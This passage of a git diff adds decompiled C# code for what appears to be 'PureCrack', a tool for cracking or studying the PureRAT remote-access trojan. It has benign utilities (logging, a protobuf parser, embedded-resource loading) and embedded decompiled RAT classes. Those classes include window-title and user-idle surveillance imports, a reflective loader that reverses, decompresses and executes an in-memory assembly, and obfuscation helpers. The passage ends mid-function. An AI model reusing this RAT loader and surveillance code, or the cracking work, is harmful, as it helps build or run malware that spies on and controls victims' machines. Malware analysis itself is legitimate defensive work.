process?.WaitForExit(5000); + Log.Bullet("hosts: dns cache flushed"); + } + catch (Exception ex) + { + Log.Warn("ipconfig /flushdns failed (non-fatal): " + ex.Message); + } + } +} diff --git a/decompiled/purerat decompiled/PureCrack.Util/EmbeddedAssets.cs b/decompiled/purerat decompiled/PureCrack.Util/EmbeddedAssets.cs new file mode 100644 index 0000000..4360f12 --- /dev/null +++ b/decompiled/purerat decompiled/PureCrack.Util/EmbeddedAssets.cs @@ -0,0 +1,73 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Reflection; +using System.Text; + +namespace PureCrack.Util; + +internal static class EmbeddedAssets +{ + private static readonly Assembly Asm = typeof(EmbeddedAssets).Assembly; + + private const string Prefix = "PureCrack.assets."; + + private static Dictionary? _innerSources; + + private static string? _loader; + + private static byte[]? _pbNet; + + private static byte[]? _canned; + + public static IReadOnlyDictionary InnerSources + { + get + { + if (_innerSources != null) + { + return _innerSources; + } + Dictionary dictionary = new Dictionary(StringComparer.OrdinalIgnoreCase); + string[] manifestResourceNames = Asm.GetManifestResourceNames(); + foreach (string text in manifestResourceNames) + { + if (text.StartsWith("PureCrack.assets.inner.", StringComparison.Ordinal) && text.EndsWith(".cs", StringComparison.Ordinal)) + { + string key = text.Substring("PureCrack.assets.".Length + "inner.".Length); + dictionary[key] = ReadString(text); + } + } + return _innerSources = dictionary; + } + } + + public static string LoaderTemplate => _loader ?? (_loader = ReadString("PureCrack.assets.inner.Loader.tmpl")); + + public static byte[] ProtobufNetDll => _pbNet ?? (_pbNet = ReadBytes("PureCrack.assets.inner.protobuf-net.dll")); + + public static byte[] CannedCompileResponse => _canned ?? (_canned = ReadBytes("PureCrack.assets.compile_response.bin")); + + private static string ReadString(string resName) + { + using Stream stream = Asm.GetManifestResourceStream(resName) ?? throw new FileNotFoundException("missing embedded resource: " + resName); + using StreamReader streamReader = new StreamReader(stream, Encoding.UTF8); + return streamReader.ReadToEnd(); + } + + private static byte[] ReadBytes(string resName) + { + using Stream stream = Asm.GetManifestResourceStream(resName) ?? throw new FileNotFoundException("missing embedded resource: " + resName); + using MemoryStream memoryStream = new MemoryStream(); + stream.CopyTo(memoryStream); + return memoryStream.ToArray(); + } + + public static IEnumerable AllResources() + { + return from n in Asm.GetManifestResourceNames() + orderby n + select n; + } +} diff --git a/decompiled/purerat decompiled/PureCrack.Util/Log.cs b/decompiled/purerat decompiled/PureCrack.Util/Log.cs new file mode 100644 index 0000000..100e2c0 --- /dev/null +++ b/decompiled/purerat decompiled/PureCrack.Util/Log.cs @@ -0,0 +1,164 @@ +using System; +using System.Runtime.InteropServices; + +namespace PureCrack.Util; + +internal static class Log +{ + private static readonly object Lock = new object(); + + private static readonly bool UseColor = !Console.IsOutputRedirected && TryEnableVirtualTerminal(); + + private const string Reset = "\u001b[0m"; + + private const string Bold = "\u001b[1m"; + + private const string Red = "\u001b[91m"; + + private const string Green = "\u001b[92m"; + + private const string Yellow = "\u001b[93m"; + + private const string Blue = "\u001b[94m"; + + private const string Gray = "\u001b[90m"; + + private const int STD_OUTPUT_HANDLE = -11; + + private const uint ENABLE_VIRTUAL_TERMINAL_PROCESSING = 4u; + + private static readonly IntPtr InvalidHandleValue = new IntPtr(-1); + + public static void Banner(string text) + { + string text2 = new string('=', text.Length + 4); + lock (Lock) + { + Write("\u001b[1m" + text2 + "\u001b[0m\n"); + Write("\u001b[1m " + text + " \u001b[0m\n"); + Write("\u001b[1m" + text2 + "\u001b[0m\n"); + } + } + + public static void Section(string text) + { + lock (Lock) + { + Write("\n\u001b[1m\u001b[94m:: " + text + "\u001b[0m\n"); + } + } + + public static void Info(string text) + { + Tagged("\u001b[94m", "[*]", text); + } + + public static void Ok(string text) + { + Tagged("\u001b[92m", "[+]", text); + } + + public static void Warn(string text) + { + Tagged("\u001b[93m", "[!]", text); + } + + public static void Err(string text) + { + Tagged("\u001b[91m", "[X]", text); + } + + public static void Debug(string text) + { + Tagged("\u001b[90m", "[.]", text); + } + + public static void Bullet(string text) + { + lock (Lock) + { + Write(" " + text + "\n"); + } + } + + public static void Kv(string key, string value) + { + lock (Lock) + { + Write(" \u001b[90m" + key.PadRight(14) + "\u001b[0m" + value + "\n"); + } + } + + private static void Tagged(string color, string tag, string text) + { + lock (Lock) + { + Write(color + tag + "\u001b[0m " + text + "\n"); + } + } + + private static void Write(string s) + { + if (!UseColor) + { + int num = 0; + while (num < s.Length) + { + if (s[num] == '\u001b' && num + 1 < s.Length && s[num + 1] == '[') + { + int num2 = s.IndexOf('m', num); + if (num2 < 0) + { + break; + } + num = num2 + 1; + } + else + { + Console.Write(s[num]); + num++; + } + } + } + else + { + Console.Write(s); + } + } + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern IntPtr GetStdHandle(int nStdHandle); + + [DllImport("kernel32.dll", SetLastError = true)] + [return: MarshalAs(UnmanagedType.Bool)] + private static extern bool GetConsoleMode(IntPtr hConsoleHandle, out uint lpMode); + + [DllImport("kernel32.dll", SetLastError = true)] + [return: MarshalAs(UnmanagedType.Bool)] + private static extern bool SetConsoleMode(IntPtr hConsoleHandle, uint dwMode); + + private static bool TryEnableVirtualTerminal() + { + try + { + IntPtr stdHandle = GetStdHandle(-11); + if (stdHandle == IntPtr.Zero || stdHandle == InvalidHandleValue) + { + return false; + } + if (!GetConsoleMode(stdHandle, out var lpMode)) + { + return false; + } + if ((lpMode & 4) != 0) + { + return true; + } + return SetConsoleMode(stdHandle, lpMode | 4); + } + catch + { + return false; + } + } +} diff --git a/decompiled/purerat decompiled/PureCrack.Util/Workspace.cs b/decompiled/purerat decompiled/PureCrack.Util/Workspace.cs new file mode 100644 index 0000000..0f35243 --- /dev/null +++ b/decompiled/purerat decompiled/PureCrack.Util/Workspace.cs @@ -0,0 +1,43 @@ +using System; +using System.Diagnostics; +using System.IO; +using System.Reflection; + +namespace PureCrack.Util; + +internal static class Workspace +{ + public static string Root { get; } + + public static string DataDir { get; } + + public static string RunsDir { get; } + + public static string CapturesDir { get; } + + public static string StubsDir { get; } + + public static string E2eDir { get; } + + static Workspace() + { + string environmentVariable = Environment.GetEnvironmentVariable("PURECRACK_WORKSPACE"); + if (!string.IsNullOrWhiteSpace(environmentVariable)) + { + Root = environmentVariable; + } + else + { + Root = Path.GetDirectoryName(Assembly.GetEntryAssembly()?.Location ?? Process.GetCurrentProcess().MainModule.FileName) ?? throw new InvalidOperationException("can't resolve EXE directory"); + } + DataDir = Path.Combine(Root, "data"); + RunsDir = Path.Combine(Root, "runs"); + CapturesDir = Path.Combine(RunsDir, "captures"); + StubsDir = Path.Combine(RunsDir, "stubs"); + E2eDir = Path.Combine(RunsDir, "e2e"); + Directory.CreateDirectory(DataDir); + Directory.CreateDirectory(CapturesDir); + Directory.CreateDirectory(StubsDir); + Directory.CreateDirectory(E2eDir); + } +} diff --git a/decompiled/purerat decompiled/PureCrack.Wire/ProtoNet.cs b/decompiled/purerat decompiled/PureCrack.Wire/ProtoNet.cs new file mode 100644 index 0000000..f9f6aa5 --- /dev/null +++ b/decompiled/purerat decompiled/PureCrack.Wire/ProtoNet.cs @@ -0,0 +1,377 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; + +namespace PureCrack.Wire; + +public static class ProtoNet +{ + private const int MaxDumpDepth = 8; + + public static byte[] WriteVarint(ulong n) + { + Span span = stackalloc byte[10]; + int length = 0; + while (n > 127) + { + span[length++] = (byte)((n & 0x7F) | 0x80); + n >>= 7; + } + span[length++] = (byte)n; + return span.Slice(0, length).ToArray(); + } + + public static byte[] WriteTag(int field, ProtoWire wire) + { + return WriteVarint((ulong)((long)field << 3) | (ulong)wire); + } + + public static byte[] FString(int field, string s) + { + byte[] bytes = Encoding.UTF8.GetBytes(s); + return Concat(WriteTag(field, ProtoWire.Bytes), WriteVarint((ulong)bytes.Length), bytes); + } + + public static byte[] FBytes(int field, byte[] b) + { + return Concat(WriteTag(field, ProtoWire.Bytes), WriteVarint((ulong)b.Length), b); + } + + public static byte[] FInt(int field, long v) + { + return Concat(WriteTag(field, ProtoWire.Varint), WriteVarint((ulong)v)); + } + + public static byte[] FBool(int field, bool v) + { + return Concat(WriteTag(field, ProtoWire.Varint), WriteVarint((ulong)(v ? 1 : 0))); + } + + public static byte[] FSub(int field, byte[] body) + { + return Concat(WriteTag(field, ProtoWire.Bytes), WriteVarint((ulong)body.Length), body); + } + + private static byte[] Concat(params byte[][] chunks) + { + int num = 0; + byte[][] array = chunks; + foreach (byte[] array2 in array) + { + num += array2.Length; + } + byte[] array3 = new byte[num]; + int num2 = 0; + array = chunks; + foreach (byte[] array4 in array) + { + Buffer.BlockCopy(array4, 0, array3, num2, array4.Length); + num2 += array4.Length; + } + return array3; + } + + public static (ulong val, int newOff) ReadVarint(byte[] buf, int off) + { + ulong num = 0uL; + int num2 = 0; + while (off < buf.Length) + { + byte b = buf[off++]; + num |= (ulong)((long)(b & 0x7F) << num2); + if ((b & 0x80) == 0) + { + return (val: num, newOff: off); + } + num2 += 7; + if (num2 >= 64) + { + throw new FormatException("varint exceeds 10 bytes"); + } + } + throw new FormatException("truncated varint"); + } + + public static Dictionary> Parse(byte[] data) + { + Dictionary> dictionary = new Dictionary>(); + int num = 0; + while (num < data.Length) + { + (ulong val, int newOff) tuple = ReadVarint(data, num); + ulong item = tuple.val; + num = tuple.newOff; + int key = (int)(item >> 3); + int num2 = (int)(item & 7); + ProtoValue item2; + switch (num2) + { + case 0: + { + (ulong val, int newOff) tuple2 = ReadVarint(data, num); + ulong item3 = tuple2.val; + num = tuple2.newOff; + item2 = ProtoValue.OfVarint(item3); + break; + } + case 1: + if (num + 8 > data.Length) + { + throw new FormatException("truncated fixed64"); + } + item2 = ProtoValue.OfFixed64(BitConverter.ToUInt64(data, num)); + num += 8; + break; + case 2: + { + ulong num3; + (num3, num) = ReadVarint(data, num); + if (num + (int)num3 > data.Length) + { + throw new FormatException("truncated length-delimited"); + } + byte[] array = new byte[(uint)num3]; + Buffer.BlockCopy(data, num, array, 0, (int)num3); + num += (int)num3; + item2 = ProtoValue.OfBytes(array); + break; + } + case 5: + if (num + 4 > data.Length) + { + throw new FormatException("truncated fixed32"); + } + item2 = ProtoValue.OfFixed32(BitConverter.ToUInt32(data, num)); + num += 4; + break; + default: + throw new FormatException($"unknown wire type {num2} at offset {num}"); + } + if (!dictionary.TryGetValue(key, out var value)) + { + value = (dictionary[key] = new List()); + } + value.Add(item2); + } + return dictionary; + } + + public static List GetStrings(Dictionary> parsed, int field) + { + if (!parsed.TryGetValue(field, out List value)) + { + return new List(); + } + List list = new List(value.Count); + foreach (ProtoValue item in value) + { + if (item.Wire == ProtoWire.Bytes) + { + list.Add(Encoding.UTF8.GetString(item.Bytes)); + } + } + return list; + } + + public static List GetInts(Dictionary> parsed, int field) + { + if (!parsed.TryGetValue(field, out List value)) + { + return new List(); + } + List list = new List(value.Count); + foreach (ProtoValue item in value) + { + if (item.Wire == ProtoWire.Varint) + { + list.Add((long)item.Number); + } + } + return list; + } + + public static string? FirstString(Dictionary> parsed, int field, string? fallback = null) + { + List strings = GetStrings(parsed, field); + if (strings.Count <= 0) + { + return fallback; + } + return strings[0]; + } + + public static byte[]? FirstSub(Dictionary> parsed, int field) + { + if (!parsed.TryGetValue(field, out List value)) + { + return null; + } + foreach (ProtoValue item in value) + { + if (item.Wire == ProtoWire.Bytes) + { + return item.Bytes; + } + } + return null; + } + + public static string Dump(byte[] data) + { + StringBuilder stringBuilder = new StringBuilder(); + DumpInto(data, 0, stringBuilder); + return stringBuilder.ToString(); + } + + private static void DumpInto(byte[] data, int depth, StringBuilder sb) + { + if (depth > 8) + { + sb.Append(Indent(depth)).Append("\n"); + return; + } + Dictionary> source; + try + { + source = Parse(data); + } + catch (Exception ex) + { + sb.Append(Indent(depth)).Append("\n"); + return; + } + foreach (KeyValuePair> item in source.OrderBy((KeyValuePair> p) => p.Key)) + { + foreach (ProtoValue item2 in item.Value) + { + string value = Indent(depth); + switch (item2.Wire) + { + case ProtoWire.Varint: + sb.Append(value).Append('F').Append(item.Key) + .Append(" varint = ") + .Append(item2.Number) + .Append('\n'); + break; + case ProtoWire.Fixed64: + sb.Append(value).Append('F').Append(item.Key) + .Append(" fixed64 = 0x") + .Append(item2.Number.ToString("x16")) + .Append('\n'); + break; + case ProtoWire.Fixed32: + sb.Append(value).Append('F').Append(item.Key) + .Append(" fixed32 = 0x") + .Append(((uint)item2.Number).ToString("x8")) + .Append('\n'); + break; + case ProtoWire.Bytes: + { + string s; + if (item2.Bytes.Length == 0) + { + sb.Append(value).Append('F').Append(item.Key) + .Append(" empty\n"); + } + else if (LooksLikeProto(item2.Bytes)) + { + sb.Append(value).Append('F').Append(item.Key) + .Append(" sub(") + .Append(item2.Bytes.Length) + .Append("):\n"); + DumpInto(item2.Bytes, depth + 1, sb); + } + else if (TryUtf8(item2.Bytes, out s)) + { + sb.Append(value).Append('F').Append(item.Key) + .Append(" str(") + .Append(item2.Bytes.Length) + .Append(") = ") + .Append(EscapeString(s)) + .Append('\n'); + } + else + { + sb.Append(value).Append('F').Append(item.Key) + .Append(" bytes(") + .Append(item2.Bytes.Length) + .Append(") = ") + .Append(HexHead(item2.Bytes, 24)) + .Append('\n'); + } + break; + } + } + } + } + } + + private static string Indent(int depth) + { + return new string(' ', depth * 2); + } + + private static bool TryUtf8(byte[] b, out string s) + { + try + { + s = Encoding.UTF8.GetString(b); + string text = s; + foreach (char c in text) + { + if (c < ' ' && c != '\t' && c != '\n' && c != '\r') + { + s = ""; + return false; + } + } + return true; + } + catch + { + s = ""; + return false; + } + } + + private static bool LooksLikeProto(byte[] b) + { + if (b.Length < 2) + { + return false; + } + try + { + return Parse(b).Count > 0; + } + catch + { + return false; + } + } + + private static string HexHead(byte[] b, int n) + { + StringBuilder stringBuilder = new StringBuilder(n * 3 + 4); + for (int i = 0; i < Math.Min(n, b.Length); i++) + { + stringBuilder.Append(b[i].ToString("x2")).Append(' '); + } + if (b.Length > n) + { + stringBuilder.Append("..."); + } + return stringBuilder.ToString().TrimEnd(Array.Empty()); + } + + private static string EscapeString(string s) + { + if (s.Length > 80) + { + s = s.Substring(0, 80) + "..."; + } + return "\"" + s.Replace("\\", "\\\\").Replace("\"", "\\\"") + "\""; + } +} diff --git a/decompiled/purerat decompiled/PureCrack.Wire/ProtoValue.cs b/decompiled/purerat decompiled/PureCrack.Wire/ProtoValue.cs new file mode 100644 index 0000000..f6d848a --- /dev/null +++ b/decompiled/purerat decompiled/PureCrack.Wire/ProtoValue.cs @@ -0,0 +1,39 @@ +using System; + +namespace PureCrack.Wire; + +public sealed class ProtoValue +{ + public ProtoWire Wire { get; } + + public byte[] Bytes { get; } + + public ulong Number { get; } + + private ProtoValue(ProtoWire wire, byte[] bytes, ulong number) + { + Wire = wire; + Bytes = bytes; + Number = number; + } + + public static ProtoValue OfVarint(ulong v) + { + return new ProtoValue(ProtoWire.Varint, Array.Empty(), v); + } + + public static ProtoValue OfBytes(byte[] b) + { + return new ProtoValue(ProtoWire.Bytes, b, 0uL); + } + + public static ProtoValue OfFixed64(ulong v) + { + return new ProtoValue(ProtoWire.Fixed64, Array.Empty(), v); + } + + public static ProtoValue OfFixed32(uint v) + { + return new ProtoValue(ProtoWire.Fixed32, Array.Empty(), v); + } +} diff --git a/decompiled/purerat decompiled/PureCrack.Wire/ProtoWire.cs b/decompiled/purerat decompiled/PureCrack.Wire/ProtoWire.cs new file mode 100644 index 0000000..3723620 --- /dev/null +++ b/decompiled/purerat decompiled/PureCrack.Wire/ProtoWire.cs @@ -0,0 +1,9 @@ +namespace PureCrack.Wire; + +public enum ProtoWire +{ + Varint = 0, + Fixed64 = 1, + Bytes = 2, + Fixed32 = 5 +} diff --git a/decompiled/purerat decompiled/PureCrack.assets.compile_response.bin b/decompiled/purerat decompiled/PureCrack.assets.compile_response.bin new file mode 100644 index 0000000..d6fd331 Binary files /dev/null and b/decompiled/purerat decompiled/PureCrack.assets.compile_response.bin differ diff --git a/decompiled/purerat decompiled/PureCrack.assets.inner.Attribute0.cs b/decompiled/purerat decompiled/PureCrack.assets.inner.Attribute0.cs new file mode 100644 index 0000000..7945632 --- /dev/null +++ b/decompiled/purerat decompiled/PureCrack.assets.inner.Attribute0.cs @@ -0,0 +1,22 @@ +using System; + +// Token: 0x02000029 RID: 41 +[AttributeUsage(AttributeTargets.Assembly | AttributeTargets.Class | AttributeTargets.Struct | AttributeTargets.Constructor | AttributeTargets.Method | AttributeTargets.Property | AttributeTargets.Event, AllowMultiple = false, Inherited = false)] +internal sealed class Attribute0 : Attribute +{ + // Token: 0x0600010C RID: 268 RVA: 0x00002308 File Offset: 0x00000508 + // Note: this type is marked as 'beforefieldinit'. + static Attribute0() + { + Class16.kLjw4iIsCLsZtxc4lksN0j(); + } + + // Token: 0x0600010D RID: 269 RVA: 0x000029B8 File Offset: 0x00000BB8 + internal static bool smethod_0() + { + return Attribute0.object_0 == null; + } + + // Token: 0x040000AC RID: 172 + internal static object object_0; +} diff --git a/decompiled/purerat decompiled/PureCrack.assets.inner.Class0.cs b/decompiled/purerat decompiled/PureCrack.assets.inner.Class0.cs new file mode 100644 index 0000000..44e1e55 --- /dev/null +++ b/decompiled/purerat decompiled/PureCrack.assets.inner.Class0.cs @@ -0,0 +1,68 @@ +using System; +using System.Runtime.InteropServices; +using System.Text; + +// Token: 0x02000003 RID: 3 +internal static class Class0 +{ + // Token: 0x06000009 RID: 9 + [DllImport("kernel32.dll", SetLastError = true)] + public static extern Class0.Enum0 SetThreadExecutionState(Class0.Enum0 enum0_0); + + // Token: 0x0600000A RID: 10 + [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] + public static extern IntPtr GetForegroundWindow(); + + // Token: 0x0600000B RID: 11 + [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] + public static extern int GetWindowText(IntPtr intptr_0, StringBuilder stringBuilder_0, int int_0); + + // Token: 0x0600000C RID: 12 + [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] + public static extern int GetWindowTextLength(IntPtr a); + + // Token: 0x0600000D RID: 13 + [DllImport("user32.dll", SetLastError = true)] + public static extern bool SetProcessDPIAware(); + + // Token: 0x0600000E RID: 14 + [DllImport("user32.dll")] + public static extern bool GetLastInputInfo(ref Class0.Struct0 struct0_0); + + // Token: 0x0600000F RID: 15 RVA: 0x00002308 File Offset: 0x00000508 + // Note: this type is marked as 'beforefieldinit'. + static Class0() + { + Class16.kLjw4iIsCLsZtxc4lksN0j(); + } + + // Token: 0x06000010 RID: 16 RVA: 0x00002319 File Offset: 0x00000519 + internal static bool smethod_0() + { + return Class0.object_0 == null; + } + + // Token: 0x04000003 RID: 3 + private static object object_0; + + // Token: 0x02000004 RID: 4 + public enum Enum0 : uint + { + // Token: 0x04000005 RID: 5 + const_0 = 2147483648U, + // Token: 0x04000006 RID: 6 + const_1 = 2U, + // Token: 0x04000007 RID: 7 + const_2 = 1U + } + + // Token: 0x02000005 RID: 5 + public struct Struct0 + { + // Token: 0x04000008 RID: 8 + public uint uint_0; + + // Token: 0x04000009 RID: 9 + public uint uint_1; + } +} diff --git a/decompiled/purerat decompiled/PureCrack.assets.inner.Class1.cs b/decompiled/purerat decompiled/PureCrack.assets.inner.Class1.cs new file mode 100644 index 0000000..412996d --- /dev/null +++ b/decompiled/purerat decompiled/PureCrack.assets.inner.Class1.cs @@ -0,0 +1,132 @@ +using System; +using System.Linq; +using System.Reflection; +using System.Threading; + +// Token: 0x02000006 RID: 6 +internal static class Class1 +{ + // Token: 0x06000011 RID: 17 RVA: 0x00006C44 File Offset: 0x00004E44 + internal static void smethod_0(GClass10 gclass10_0) + { + try + { + if (Class1.smethod_1(gclass10_0)) + { + if (gclass10_0.Boolean_0) + { + Class1.smethod_2(); + } + else + { + Class1.d(); + } + } + } + catch (Exception ex) + { + Class9.i(ex.Message); + } + } + + // Token: 0x06000012 RID: 18 RVA: 0x00006C8C File Offset: 0x00004E8C + private static bool smethod_1(GClass10 object_3) + { + bool result; + try + { + if (object_3.GClass11_0.Byte_0 == null) + { + if (object_3.GClass11_0.Byte_0 == null) + { + byte[] array = Class7.smethod_0(object_3.GClass11_0.String_0); + if (array == null) + { + Class9.h(object_3); + return false; + } + if (Class1.object_0 == null && Class1.object_1 == null && Class1.fVfbyIimT == null && !object_3.Boolean_0) + { + return false; + } + if (Class1.object_0 != null && Class1.object_1 != null && Class1.fVfbyIimT != null) + { + return true; + } + if (array != null) + { + Class1.smethod_3(array); + return true; + } + } + return false; + } + Class7.smethod_1(object_3.GClass11_0.String_0, object_3.GClass11_0.Byte_0); + Class1.smethod_3(object_3.GClass11_0.Byte_0); + result = true; + } + catch + { + return false; + } + return result; + } + + // Token: 0x06000013 RID: 19 RVA: 0x00002323 File Offset: 0x00000523 + private static void smethod_2() + { + Class1.object_1.Invoke(Class1.object_0, null); + } + + // Token: 0x06000014 RID: 20 RVA: 0x00002336 File Offset: 0x00000536 + private static void d() + { + Class1.fVfbyIimT.Invoke(Class1.object_0, null); + } + + // Token: 0x06000015 RID: 21 RVA: 0x00006D80 File Offset: 0x00004F80 + private static void smethod_3(byte[] object_3) + { + try + { + if (Class1.object_0 != null && Class1.object_1 != null && Class1.fVfbyIimT != null) + { + Class1.d(); + Thread.Sleep(2000); + GC.Collect(); + } + } + catch + { + } + Type type = Assembly.Load(GClass14.smethod_1(object_3.Reverse().ToArray())).GetExportedTypes()[0]; + Class1.object_0 = Activator.CreateInstance(type); + Class1.object_1 = type.GetMethods()[0]; + Class1.fVfbyIimT = type.GetMethods()[1]; + } + + // Token: 0x06000016 RID: 22 RVA: 0x00002308 File Offset: 0x00000508 + // Note: this type is marked as 'beforefieldinit'. + static Class1() + { + Class16.kLjw4iIsCLsZtxc4lksN0j(); + } + + // Token: 0x06000017 RID: 23 RVA: 0x00002349 File Offset: 0x00000549 + internal static bool smethod_4() + { + return Class1.object_2 == null; + } + + // Token: 0x0400000A RID: 10 + private static object object_0; + + // Token: 0x0400000B RID: 11 + private static MethodInfo object_1; + + // Token: 0x0400000C RID: 12 + private static MethodInfo fVfbyIimT; + + // Token: 0x0400000D RID: 13 + private static object object_2; +} diff --git a/decompiled/purerat decompiled/PureCrack.assets.inner.Class10.cs b/decompiled/purerat decompiled/PureCrack.assets.inner.Class10.cs new file mode 100644 index 0000000..16a1600 --- /dev/null +++ b/decompiled/purerat decompiled/PureCrack.assets.inner.Class10.cs @@ -0,0 +1,28 @@ +using System; +using System.CodeDom.Compiler; + +// Token: 0x02000028 RID: 40 +[Attribute0] +[GeneratedCode("Nerdbank.GitVersioning.Tasks", "3.5.119.9565")] +internal static class Class10 +{ + // Token: 0x06000109 RID: 265 RVA: 0x00002993 File Offset: 0x00000B93 + // Note: this type is marked as 'beforefieldinit'. + static Class10() + { + Class16.kLjw4iIsCLsZtxc4lksN0j(); + Class10.dateTime_0 = new DateTime(638747956890000000L, DateTimeKind.Utc); + } + + // Token: 0x0600010A RID: 266 RVA: 0x000029AE File Offset: 0x00000BAE + internal static bool smethod_0() + { + return Class10.object_0 == null; + } + + // Token: 0x040000AA RID: 170 + internal static readonly DateTime dateTime_0; + + // Token: 0x040000AB RID: 171 + private static object object_0; +} diff --git a/decompiled/purerat decompiled/PureCrack.assets.inner.Class11.cs b/decompiled/purerat decompiled/PureCrack.assets.inner.Class11.cs new file mode 100644 index 0000000..3ab77be --- /dev/null +++ b/decompiled/purerat decompiled/PureCrack.assets.inner.Class11.cs @@ -0,0 +1,40 @@ +using System; +using System.Reflection; + +// Token: 0x020000BD RID: 189 +internal class Class11 +{ + // Token: 0x06000768 RID: 1896 RVA: 0x0002018C File Offset: 0x0001E38C + internal static void smethod_0(int typemdt) + { + Type type = Class11.module_0.ResolveType(33554432 + typemdt); + foreach (FieldInfo fieldInfo in type.GetFields()) + { + MethodInfo method = (MethodInfo)Class11.module_0.ResolveMethod(fieldInfo.MetadataToken + 100663296); + fieldInfo.SetValue(null, (MulticastDelegate)Delegate.CreateDelegate(type, method)); + } + } + + // Token: 0x0600076A RID: 1898 RVA: 0x000068C3 File Offset: 0x00004AC3 + // Note: this type is marked as 'beforefieldinit'. + static Class11() + { + Class16.kLjw4iIsCLsZtxc4lksN0j(); + Class11.module_0 = typeof(Class11).Assembly.ManifestModule; + } + + // Token: 0x0600076B RID: 1899 RVA: 0x000068E3 File Offset: 0x00004AE3 + internal static bool smethod_1() + { + return Class11.object_0 == null; + } + + // Token: 0x040002FD RID: 765 + internal static Module module_0; + + // Token: 0x040002FE RID: 766 + private static object object_0; + + // Token: 0x020000BE RID: 190 + internal delegate void Delegate0(object o); +} diff --git a/decompiled/purerat decompiled/PureCrack.assets.inner.Class12.cs b/decompiled/purerat decompiled/PureCrack.assets.inner.Class12.cs new file mode 100644 index 0000000..28c3dd1 --- /dev/null +++ b/decompiled/purerat decompiled/PureCrack.assets.inner.Class12.cs @@ -0,0 +1,2036 @@ +using System; +using System.Collections; +using System.Collections.Generic; +using System.Diagnostics; +using System.IO; +using System.Reflection; +using System.Reflection.Emit; +using System.Runtime.InteropServices; +using System.Security.Cryptography; +using System.Text; + +// Token: 0x020000BF RID: 191 +internal class Class12 +{ + // Token: 0x06000771 RID: 1905 RVA: 0x000201F8 File Offset: 0x0001E3F8 + static Class12() + { + Class16.kLjw4iIsCLsZtxc4lksN0j(); + Class12.bool_4 = false; + Class12.assembly_0 = typeof(Class12).Assembly; + Class12.uint_0 = new uint[] + { + 3614090360U, + 3905402710U, + 606105819U, + 3250441966U, + 4118548399U, + 1200080426U, + 2821735955U, + 4249261313U, + 1770035416U, + 2336552879U, + 4294925233U, + 2304563134U, + 1804603682U, + 4254626195U, + 2792965006U, + 1236535329U, + 4129170786U, + 3225465664U, + 643717713U, + 3921069994U, + 3593408605U, + 38016083U, + 3634488961U, + 3889429448U, + 568446438U, + 3275163606U, + 4107603335U, + 1163531501U, + 2850285829U, + 4243563512U, + 1735328473U, + 2368359562U, + 4294588738U, + 2272392833U, + 1839030562U, + 4259657740U, + 2763975236U, + 1272893353U, + 4139469664U, + 3200236656U, + 681279174U, + 3936430074U, + 3572445317U, + 76029189U, + 3654602809U, + 3873151461U, + 530742520U, + 3299628645U, + 4096336452U, + 1126891415U, + 2878612391U, + 4237533241U, + 1700485571U, + 2399980690U, + 4293915773U, + 2240044497U, + 1873313359U, + 4264355552U, + 2734768916U, + 1309151649U, + 4149444226U, + 3174756917U, + 718787259U, + 3951481745U + }; + Class12.bool_5 = false; + Class12.fQgAnroQoI = false; + Class12.rsacryptoServiceProvider_0 = null; + Class12.dictionary_0 = null; + Class12.object_3 = new object(); + Class12.int_2 = 0; + Class12.object_2 = new object(); + Class12.list_1 = null; + Class12.list_0 = null; + Class12.byte_1 = new byte[0]; + Class12.byte_0 = new byte[0]; + Class12.intptr_1 = IntPtr.Zero; + Class12.intptr_2 = IntPtr.Zero; + Class12.string_0 = new string[0]; + Class12.int_4 = new int[0]; + Class12.int_5 = 1; + Class12.bool_3 = false; + Class12.sortedList_0 = new SortedList(); + Class12.int_3 = 0; + Class12.long_0 = 0L; + Class12.object_1 = null; + Class12.object_0 = null; + Class12.long_1 = 0L; + Class12.int_1 = 0; + Class12.bool_2 = false; + Class12.bool_1 = false; + Class12.int_0 = 0; + Class12.intptr_3 = IntPtr.Zero; + Class12.bool_0 = false; + Class12.hashtable_0 = new Hashtable(); + Class12.delegate4_0 = null; + Class12.delegate5_0 = null; + Class12.delegate6_0 = null; + Class12.delegate7_0 = null; + Class12.delegate8_0 = null; + Class12.delegate9_0 = null; + Class12.intptr_0 = IntPtr.Zero; + try + { + RSACryptoServiceProvider.UseMachineKeyStore = true; + } + catch + { + } + } + + // Token: 0x06000772 RID: 1906 RVA: 0x000022D0 File Offset: 0x000004D0 + private void method_0() + { + } + + // Token: 0x06000773 RID: 1907 RVA: 0x0002037C File Offset: 0x0001E57C + internal static byte[] smethod_0(byte[] object_4) + { + uint[] array = new uint[16]; + uint num = (uint)((448 - object_4.Length * 8 % 512 + 512) % 512); + if (num == 0U) + { + num = 512U; + } + uint num2 = (uint)((long)object_4.Length + (long)((ulong)(num / 8U)) + 8L); + ulong num3 = (ulong)((long)object_4.Length * 8L); + byte[] array2 = new byte[num2]; + for (int i = 0; i < object_4.Length; i++) + { + array2[i] = object_4[i]; + } + byte[] array3 = array2; + int num4 = object_4.Length; + array3[num4] |= 128; + for (int j = 8; j > 0; j--) + { + array2[(int)(checked((IntPtr)(unchecked((ulong)num2 - (ulong)((long)j)))))] = (byte)(num3 >> (8 - j) * 8 & 255UL); + } + uint num5 = (uint)(array2.Length * 8 / 32); + uint num6 = 1732584193U; + uint num7 = 4023233417U; + uint num8 = 2562383102U; + uint num9 = 271733878U; + for (uint num10 = 0U; num10 < num5 / 16U; num10 += 1U) + { + uint num11 = num10 << 6; + for (uint num12 = 0U; num12 < 61U; num12 += 4U) + { + array[(int)(num12 >> 2)] = (uint)((int)array2[(int)(num11 + (num12 + 3U))] << 24 | (int)array2[(int)(num11 + (num12 + 2U))] << 16 | (int)array2[(int)(num11 + (num12 + 1U))] << 8 | (int)array2[(int)(num11 + num12)]); + } + uint num13 = num6; + uint num14 = num7; + uint num15 = num8; + uint num16 = num9; + Class12.dvsYoUdMrG(ref num6, num7, num8, num9, 0U, 7, 1U, array); + Class12.dvsYoUdMrG(ref num9, num6, num7, num8, 1U, 12, 2U, array); + Class12.dvsYoUdMrG(ref num8, num9, num6, num7, 2U, 17, 3U, array); + Class12.dvsYoUdMrG(ref num7, num8, num9, num6, 3U, 22, 4U, array); + Class12.dvsYoUdMrG(ref num6, num7, num8, num9, 4U, 7, 5U, array); + Class12.dvsYoUdMrG(ref num9, num6, num7, num8, 